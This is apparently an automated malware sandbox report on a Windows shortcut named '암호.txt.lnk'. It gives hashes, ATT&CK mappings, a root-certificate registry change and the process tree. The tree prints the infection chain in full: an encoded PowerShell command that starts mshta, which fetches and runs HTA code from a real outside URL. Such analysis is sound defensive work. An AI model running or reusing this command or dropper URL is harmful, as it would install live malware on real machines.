f7964d3354dc97a62e34608e4d9defbba1b6bbc75b1d5d1d3ca316c3c668af0b

General

Target
암호.txt.lnk
Size 2KB
Sample260530-sdtgfaf161
SHA256 f7964d3354dc97a62e34608e4d9defbba1b6bbc75b1d5d1d3ca316c3c668af0b
MD5 dbef00d1079147df402b2226278d6414
SHA1 8bf38682321f3dde35a43e8d6317afc6e686b782
SHA512 0bfe5e6749d79b438d82cf05a5a377104826e464073a30abc51f44dd25b7db15432ffd0e30b11bd551510df30f4a28eb3a5f0be564790b9630467417469e5efd
TLSH
T1135120011EE502BAF373C77A17FABB0A5520F4789B0789AC41C12244AE90604F875B2E
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion spyware trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/DlLZMgU

Signatures

Badlisted process makes network request 13 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4144	mshta.exe
12	4144	mshta.exe
14	4144	mshta.exe
42	4144	mshta.exe
44	4144	mshta.exe
47	4144	mshta.exe
48	4144	mshta.exe
54	4144	mshta.exe
56	4144	mshta.exe
60	4144	mshta.exe
62	4144	mshta.exe
63	4144	mshta.exe
71	4144	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 5c000000010000000400000080010000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a0b00000001000000180000005300650063007400690067006f00200045004300430000001400000001000000140000003ae10986d4cf19c29676744976dce035c663639a1d0000000100000010000000280cf6042c30a2646644ba7286a3aa97030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df02000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4272	powershell.exe
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4272	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 4272	1784	cmd.exe	86
PID 4272 wrote to memory of 4144	4272	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBEAGwATABaAE0AZwBVAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/DlLZMgU
    3⤵
    - Badlisted process makes network request
    - Modifies system certificate store
    PID:4144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_zyv1w41x.etk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zyv1w41x.etk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4272-2-0x000001D5E4840000-0x000001D5E4850000-memory.dmp

Download

memory/4272-8-0x000001D5FCD20000-0x000001D5FCD42000-memory.dmp